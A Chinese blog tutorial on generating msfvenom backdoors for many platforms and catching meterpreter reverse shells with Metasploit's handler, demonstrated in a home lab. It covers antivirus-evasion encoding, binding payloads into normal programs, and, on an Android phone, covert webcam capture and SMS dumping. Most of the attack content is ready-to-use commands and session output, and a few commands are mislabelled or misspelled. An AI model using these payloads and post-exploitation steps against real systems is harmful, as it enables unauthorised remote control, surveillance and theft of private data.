Msfvenom生成后门及运用

最新推荐文章于 2024-06-05 14:57:21 发布
最新推荐文章于 2024-06-05 14:57:21 发布
阅读量4.8k 收藏 38
点赞数 5
分类专栏： 网络安全 文章标签： metasploit
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_40549070/article/details/108895422
版权

Msfvenom生成后门及运用

本篇文章将会使用msfvenom来创建木马，然后通过msfconsole中的expoit/multi/handler来反弹靶机shell。

后门的生成：

首先通过各种操作系统，脚本语言来生成后门：
常用参数说明：

e 编码方式
i 编码次数
b 在生成的程序中避免出现的值
f 输出格式
p 选择payload
l 查看所有payload
a 选择架构平台(x86|x64|x86_64)
o 文件输出
c 添加自己的shellcode
x|k 捆绑

基本格式：

msfvenom -p <payload> <payload options> -f <format> -o <path>

木马简单免杀：

msfvenom -p <payload> -e <encoder > -i <encoder times> -n <nopsled> -f <format> -o <path>
msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe

普通捆绑：

msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\nomal.exe –k –f exe –o C:\shell.exe

Linux：

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f elf > shell.elf

Windows：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac：

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

Android：

msfvenom -p android/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> R > shell.apk

PHP:

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

ASP:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.asp

ASPX:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx

JSP:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

BASH:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

PERL:

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

PYTHON:

msfvenom -p python/meterpreter/reverser_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

基于现在网络安全意识的提高，普通的木马很难在win上存活，需要经过多次的复杂的编码，所以我们学习的路还很长！

中文翻译：

-l, --list           <type>              列出指定类型的所有模块 类型包括: payloads, encoders, nops, platforms, archs, formats, all

-p, --payload   <payload>       指定需要使用的payload(有效载荷)(--list payloads得到payload列表,--list-options得到指定payload的参数)                                                    如果需要使用自定义的payload,请使用'-'或者stdin指定
      --list-options                     列出指定payload的标准,高级和规避选项  例如:msfvenom -p generic/shell_bind_tcp --list-options                                                                 将列出shell_bind_tcp这个payload的各种选项信息

-f, --format        <format>        指定输出格式(使用 --list formats 列出所有的格式)

-e, --encoding   <encoder>     要使用的编码(使用 --list encoders 列出所有的编码) 用于编码加密
     --smallest                           使用所有可用的编码器生成尽可能小的有效负载

-a, --arch          <arch>            指定payload的目标CPU架构(使用 --list archs 列出所有的CPU架构)
     --platform    <platform>      指定payload的目标操作系统平台(使用 --list platforms 列出所有的操作系统平台)

-o, --out            <path>            将payload保存到文件中

-b, --bad-chars  <list>             指定不使用的字符集 例如:不使用'\x00\xff'这两个字符

-n, --nopsled     <length>        在payload上添加指定长度的nop指令

-s, --space        <length>        设定payload的最大长度    即生成的文件大小
     --encoder-space <length> 设定编码payload的最大长度(默认为-s的值)

-i, --iterations     <count>         对payload进行编码的次数

-c, --add-code    <path>           指定一个自己的win32 shellcode文件 

-x, --template      <path>          指定一个可执行程序 将payload捆绑其中 
                                                 例如:原先有个正常文件normal.exe 通过此选项把payload捆绑到这个程序上面

-k, --keep                                  针对-x中的捆绑程序 将创建新线程执行payload 一般情况-x -k选项一起使用

-v, --var-name     <value>         指定用于某些输出格式的自定义变量名称

-t, --timeout         <second>      从STDIN读取有效负载时等待的秒数(默认为30, 0为禁用)

-h, --help                                    查看帮助

msf反弹shell

当我们的木马已经上传到目标靶机系统并正常运行之后，靶机会主动连接我们所指定的ip和端口，形成反弹shell的操作，我们只需要做的是监听kaili的所指定的端口即可。

首先进入msfconsole的shell：

msfconsole

调用监听模块：

msf5 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > set LHOST 192.168.1.102
LHOST => 192.168.1.102
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.1.102:4444

这里可以根据需要设置LHOST与LPORT参数，也可以指定对应的攻击载荷

实践：

这里对市面上主流的操作系统与脚本语言进行实验，这里因为博主实在穷买不起水果电脑，这里MAC的实验直接跳过。

Windows：

win7（靶机）：192.168.1.106

Kali（攻击机）：192.168.1.102

首先在Kali里面生成基于windows系统的木马：

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=4444 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
root@kali:~#

使用msf模块进行端口监听（注意这里要设置与木马payload对应的载荷）：

msf5 > use exploit/multi/
Display all 340 possibilities? (y or n)
msf5 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.1.102
LHOST => 192.168.1.102
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.1.102:4444

将后门上传到靶机中并双击运行：

在这里插入图片描述

我们回到kali发现已经得到靶机meterpreter的shell了：

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.1.102:4444 
[*] Sending stage (176195 bytes) to 192.168.1.106
[*] Meterpreter session 3 opened (192.168.1.102:4444 -> 192.168.1.106:49164) at 2020-10-01 14:09:34 +0800

meterpreter > getuid
Server username: WY-PC\WY
meterpreter >

Linux：

CentOS7（靶机）：192.168.1.103

Kali（攻击机）：192.168.1.102

首先在Kali里面生成基于Linux系统的木马：

root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=4444 -f elf > shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
root@kali:~#

使用msf模块进行端口监听（注意这里要设置与木马payload对应的载荷）：

msf5 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcppayload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.1.102
LHOST => 192.168.1.102
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.1.102:4444

将后门上传到靶机中并./运行：

[root@localhost ~]# chmod 777 shell.elf 
[root@localhost ~]# ./shell.elf &
[1] 2746
[root@localhost ~]# ps -ef |grep shell.elf
root       2746   2504  0 14:22 pts/0    00:00:00 ./shell.elf
root       2754   2504  0 14:23 pts/0    00:00:00 grep --color=auto shell.elf
[root@localhost ~]#

我们回到kali发现已经得到靶机meterpreter的shell了：

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.1.102:4444 
[*] Sending stage (980808 bytes) to 192.168.1.103
[*] Meterpreter session 2 opened (192.168.1.102:4444 -> 192.168.1.103:55342) at 2020-10-01 14:22:57 +0800

meterpreter > getuid
Server username: no-user @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
meterpreter >

Android：

MI8（手机）：192.168.1.104

Kali（攻击机）：192.168.1.102

首先在Kali里面生成基于Android系统的木马：

root@kali:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=4444 R > shell.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10187 bytes
root@kali:~#

使用msf模块进行端口监听（注意这里要设置与木马payload对应的载荷）：

msf5 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.1.102
LHOST => 192.168.1.102
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.1.102:4444

将后门安装到手机并点击运行：

在这里插入图片描述

我们回到kali发现已经得到靶机meterpreter的shell了：

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.1.102:4444 
[*] Sending stage (73808 bytes) to 192.168.1.104
[*] Meterpreter session 1 opened (192.168.1.102:4444 -> 192.168.1.104:38078) at 2020-10-01 14:39:51 +0800

meterpreter > sysinfo
Computer    : localhost
OS          : Android 10 - Linux 4.<...>
Meterpreter : dalvik/android
meterpreter >

拓展：

扫描手机摄像头(这里又两个摄像头前置和后置)：
meterpreter > webcam_list
1: Back Camera
2: Front Camera
打开手机摄像头：
meterpreter > webcam_stream
[*] Starting...
[*] Preparing player...
[*] Opening player at: /root/ohFWZoub.html
[*] Streaming...
[-] webcam_start: Operation failed: 1
meterpreter > Sandbox: unsupported fd-relative fstatat(31, "", 0x7FFE461BC470, 4096)
Sandbox: seccomp sandbox violation: pid 3679, tid 3679, syscall 262, args 31 139979469005566 140730074645616 4096 4096 1.
Sandbox: unsupported fd-relative fstatat(31, "", 0x7FFE461BC370, 4096)
Sandbox: seccomp sandbox violation: pid 3679, tid 3679, syscall 262, args 31 139979469005566 140730074645360 4096 4096 1.
Sandbox: unsupported fd-relative fstatat(31, "", 0x7FFE461BC370, 4096)
Sandbox: seccomp sandbox violation: pid 3679, tid 3679, syscall 262, args 31 139979469005566 140730074645360 4096 4096 1.
Sandbox: unsupported fd-relative fstatat(33, "", 0x7FFCFB734980, 4096)
Sandbox: seccomp sandbox violation: pid 3731, tid 3731, syscall 262, args 33 139698781278974 140724527122816 4096 4096 1.
Sandbox: unsupported fd-relative fstatat(33, "", 0x7FFCFB734880, 4096)
Sandbox: seccomp sandbox violation: pid 3731, tid 3731, syscall 262, args 33 139698781278974 140724527122560 4096 4096 1.
Sandbox: unsupported fd-relative fstatat(33, "", 0x7FFCFB734880, 4096)
Sandbox: seccomp sandbox violation: pid 3731, tid 3731, syscall 262, args 33 139698781278974 140724527122560 4096 4096 1.
Sandbox: unsupported fd-relative fstatat(26, "", 0x7FFFD2AA0540, 4096)
Sandbox: seccomp sandbox violation: pid 3768, tid 3768, syscall 262, args 26 140163614188286 140736727745856 4096 4096 1.
Sandbox: unsupported fd-relative fstatat(26, "", 0x7FFFD2AA0440, 4096)
Sandbox: seccomp sandbox violation: pid 3768, tid 3768, syscall 262, args 26 140163614188286 140736727745600 4096 4096 1.
Sandbox: unsupported fd-relative fstatat(26, "", 0x7FFFD2AA0440, 4096)
Sandbox: seccomp sandbox violation: pid 3768, tid 3768, syscall 262, args 26 140163614188286 140736727745600 4096 4096 1.

在这里插入图片描述

这里报很多错，不明所以，可能是因为mi8安全性太高了无法调用摄像头吧（雷军记得打钱

隐秘拍照（这里mi8会有询问是否调用摄像头，这里实验点击是就行了）：
meterpreter > webcam_snap
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/KzQqTroL.jpeg

在这里插入图片描述

不得不说小米对于安全的把控还是可以的

导出电话号码与短信：
meterpreter > dump_contacts
[*] No contacts were found!
meterpreter > dump_sms
[*] Fetching 243 sms messages
[*] SMS messages saved to: sms_dump_20201001145514.txt

这里不知道为啥电话簿没有导出来，不过短信导出来了，不过这里也需要授权

在这里插入图片描述

PHP：

CentOS7（靶机）：192.168.1.103

​ ------PHP : 5.4.16

​ ------Apache： 2.4.6

Kali（攻击机）：192.168.1.102

首先在Kali里面生成基于php脚本语言的木马：

root@kali:~# msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.102 LPORT=4444 -f raw > shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 30689 bytes

root@kali:~#

使用msf模块进行端口监听（注意这里要设置与木马payload对应的载荷）：

msf5 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.1.102
LHOST => 192.168.1.102
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.1.102:4444

将木马上传到靶机网站站点中并使用浏览器访问该页面：

访问之前注意要更改木马页面权限chmod 777 shell.php

image-20201001152201235

我们回到kali发现已经得到靶机meterpreter的shell了：

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.1.102:4444 
[*] Meterpreter session 1 opened (192.168.1.102:4444 -> 192.168.1.103:40810) at 2020-10-01 15:20:21 +0800

meterpreter > getuid
Server username: root (0)

特此声明：

此文章仅供学术交流，请勿用于任何非法用途。

快吃小蛋糕吧
关注
  • 5
    点赞
  • 踩
  • 38
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
专栏目录
webcam开发过程中的一些错误
105694832的专栏
01-20 6100
 1. 设置编译环境时,注意头文件的包含顺序,可以通过查看编译错误调整头文件顺序.2. 关于VS2005中无法识别CSource,应添加头文件streams.h,而dshow.h没有用.3. 改写Filter和Pin的构造函数.4. Pin需要继承的两个纯虚拟函数:DecideBufferSize和FillBuffer.如果没改写,将出现编译错误,注意仔细查看这些编译错误,以找到问
渗透测试教学之MSF生成木马
weixin_45109326的博客
08-20 3099
msfvenom是msf中的一个独立的负载生成器，它可以利用msf中的payloads和encoders来生成各种格式的木马文件，并在目标机上执行，配合meterpreter在本地监听上线。msfvenom是msfpayload和msfencode的结合体，可以一步完成负载生成和编码免杀的操作。
安卓手机渗透测试
11-04
移动安全是当下最热门的话题之一。安卓系统最为市场上占有量最高的移动操作系统，拥有极其广泛的用户基础，大量的个人数据和商业数据都存储在安卓移动设备上。本专栏将从最基础的实验环境搭建，软件安装使用开始讲。没有复杂的原理讲解，更多的实践操作，小白也能跟着从零开始学起。注意：本教程内容仅用于网络安全学习研究，未经授权的入侵需要自己承担相应的责任，与作者无关。
Msfvenom介绍及利用
热门推荐
小小猪的博客
11-20 2万+
Msfvenom介绍及利用 简介： msfvenom a Metasploit standalone payload generator，Also a replacement for msfpayload and msfencode.是用来生成后门的软件。 MSFvenom是Msfpayload和Msfencode的组合，将这两个工具都放在一个Framework实例中。自2015年6月8日起，msfvenom替换了msfpayload和msfencode。 参数介绍： -l, --list .
使用msfveonm后门生成模块和msfconsole获取主机权限（windows）
最新发布
X1DD1Asad343的博客
06-05 279
运行(为了保证设置的参数的正确性，在运行前可以使用show options 命令检查对应参数是否设置正确)监听需要使用到msfconsole(MSF)中的exploit/multi/handler监听模块。配置相应参数（可以使用show options 命令查看参数情况）设置监听端口(在不设置监听端口的情况下，默认监听端口为4444)后门在目标设备上运行后，监听设备即可看到目标设备上线。获取shell,同时查看当前用户权限信息。设置监听主机（一般就是kali的IP）接下来可以尝试输入一些命令。
msfvenom常用参数
m0_61506558的博客
08-29 1540
列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all。例如：原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。例如：原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。设定有效攻击荷载的最大长度生成payload的最大长度，就是文件大小。保护模板程序的动作，注入的payload作为一个新的进程运行。指定需要使用的encoder（编码器）编码免杀。指定需要使用的payload(攻击荷载)。...
超级Shift后门生成器
11-27
【超级Shift后门生成器】是一款特殊的工具，主要用于创建隐蔽的后门程序，它允许远程访问和控制目标计算机系统。这个工具的名称“超级Shift”可能暗示了它在功能上比常规的后门生成器更加强大和复杂，可能是通过键盘...
诗忆服务器后门及不死账户生成器
06-30
在提供的压缩包文件中，“诗忆后门及不死账户生成器.exe”很可能是实现这两个功能的程序，使用者需要谨慎处理。"说明.txt"可能包含了软件的使用指南或注意事项，而“dat”文件可能存储了相关数据或配置信息。需要...
shift后门生成器
12-07
shift后门生成器 这个东西我个人觉得是很好用的.. 网上有写shift后门密码直接就能破解. 这个还行..
Shift后门生成器.rar
07-15
Shift后门生成器是一款工具，主要用于创建隐蔽的后门程序，这种后门可以在不被轻易察觉的情况下，允许未经授权的远程访问。在网络安全领域，后门通常被视为恶意软件的一部分，因为它们可以被黑客用来控制或监视目标...
RAMIN后门生成器
10-26
RAMIN后门生成器RAMIN后门生成器RAMIN后门生成器RAMIN后门生成器RAMIN后门生成器RAMIN后门生成器RAMIN后门生成器RAMIN后门生成器RAMIN后门生成器RAMIN后门生成器RAMIN后门生成器RAMIN后门生成器RAMIN后门生成器
ms17-010
qq_36676979的博客
01-08 585
ms17-010漏洞利用 漏洞描述 永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞，该漏洞导致攻击者在目标系统上可以执行任意代码。 Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞，恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木...
使用msfvenom远程控制
m0_68638628的博客
06-29 963
msfvenom是msfpayload，msfencode集成的一个免费的、可下载的框架工具。它的优点是一个单一的工具、标准化的命令行选项、效率高，其免杀效果也不错。⑵再被控端改名为winpayload.exe复制到网站的目录（/var/www/html/）将被控端linuxpayload.elf生成到网站的目录（/var/www/html/）下。将被控端winpayload.exe生成到网站的目录（/var/www/html/）下。⑴将被控端payload.exe生成到/var/payload.exe。
网络攻防作业——Msfvenom的使用
yyy7654321的博客
06-28 2613
2. 利用建立的监听连接，进行渗透测试操作（上传、下载、提权、获取Wifi密码、拍照、监控屏幕、进程迁移、保持永久、修改文件日期等等）。1.利用Msfvenom生成木马，并进行免杀处理，再利用msfconsole进行监听；3.把生成的windows下可执行的exe文件复制到靶机。5.在靶机打开生成的abc.exe文件，开始监听。2. Msfvenom生成Payload。4.msfconsole开启监听。1.打开软件Msfvenom。6. 进行渗透测试操作。
Windows网络服务渗透测试实战-MSF恶意程序利用
c_lanxiaofang的博客
05-20 4136
一、实验项目名称 Windows网络服务渗透测试实战-MSF恶意程序利用 二、实验目的及要求 掌握对MSF恶意程序利用的方法。 熟悉Metasploit终端的使用方法。 熟悉通过meterpreter进行后渗透操作 对安卓msf上线进行图标隐藏，pc上线自行进行操作截图 一、Android端 1、查看kali的IP 192.168.43.89 2、生成一个apk文件到桌面 命令中的lhost为kali系统的IP,lport为监听端口，此处设置9988 msfvenom -p and.
msfvenom的介绍以及基本使用
H_zcn的博客
10-22 1267
metasploit是一个非常强大的攻击，它不仅仅是能对windows系统进行攻击，还支持全平台的攻击，例如Linux，macOS，安卓手机等等，在上一篇metasploit框架介绍中我们简单的了解了metasploit里一些基本框架与命令，以及还体验了最基本的攻击流程，接下来我将进一步的介绍metasploit另外的一些功能与使用方法。msfvenom 有病毒，毒液的意思，它有来生成后门的功能。msfvenom是msfpayload（攻击载荷）和msfencode（编码加密）的组合。
msfvenom介绍
weixin_46483815的博客
05-11 1887
主要介绍msfvenom 和一些实验
4.1 MSF 制作shellcode，且运行
qq_55202378的博客
08-25 3447
msf shellcode
msfvenom 基本使用
blackguest07的博客
03-05 1465
msfvenom 基础命令
msfvenom生成安卓后门
09-10
msfvenom是Metasploit框架的一个工具，用于生成恶意软件，包括后门。在使用msfvenom生成安卓后门时，我们需要首先了解一些基本概念和步骤。 首先，我们需要安装和设置Metasploit框架。然后，我们可以使用msfvenom命令创建后门。该命令的基本语法如下： msfvenom -p android/meterpreter/reverse_tcp LHOST=<本地主机IP地址> LPORT=<本地主机端口> -o <输出文件路径> 这里的LHOST标识我们的本地主机IP地址，LPORT标识本地主机的端口号，-o表示输出文件路径。我们可以根据自己的需要进行调整。 生成后，我们可以将后门APK文件传输到目标安卓设备上，然后通过欺骗用户或利用其他手段将后门应用程序执行。一旦应用程序被执行，它会与我们在msfvenom中设置的本地主机IP地址和端口进行通信。 我们还可以进一步优化生成的后门，例如： - 使用其他有效载荷，如android/meterpreter/reverse_http或android/meterpreter/reverse_https，以使用HTTP或HTTPS通信。 - 添加可执行权限，以确保安卓设备可以正确执行后门应用程序。 - 使用混淆技术来隐藏后门应用程序的真实目的，增加其对抗检测工具的能力。 总之，通过使用msfvenom工具，我们能够生成定制的安卓后门，用于安全测试和研究目的。然而，请注意在任何环境中合法和道德使用此类工具，并始终遵守法律和道德准则。
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值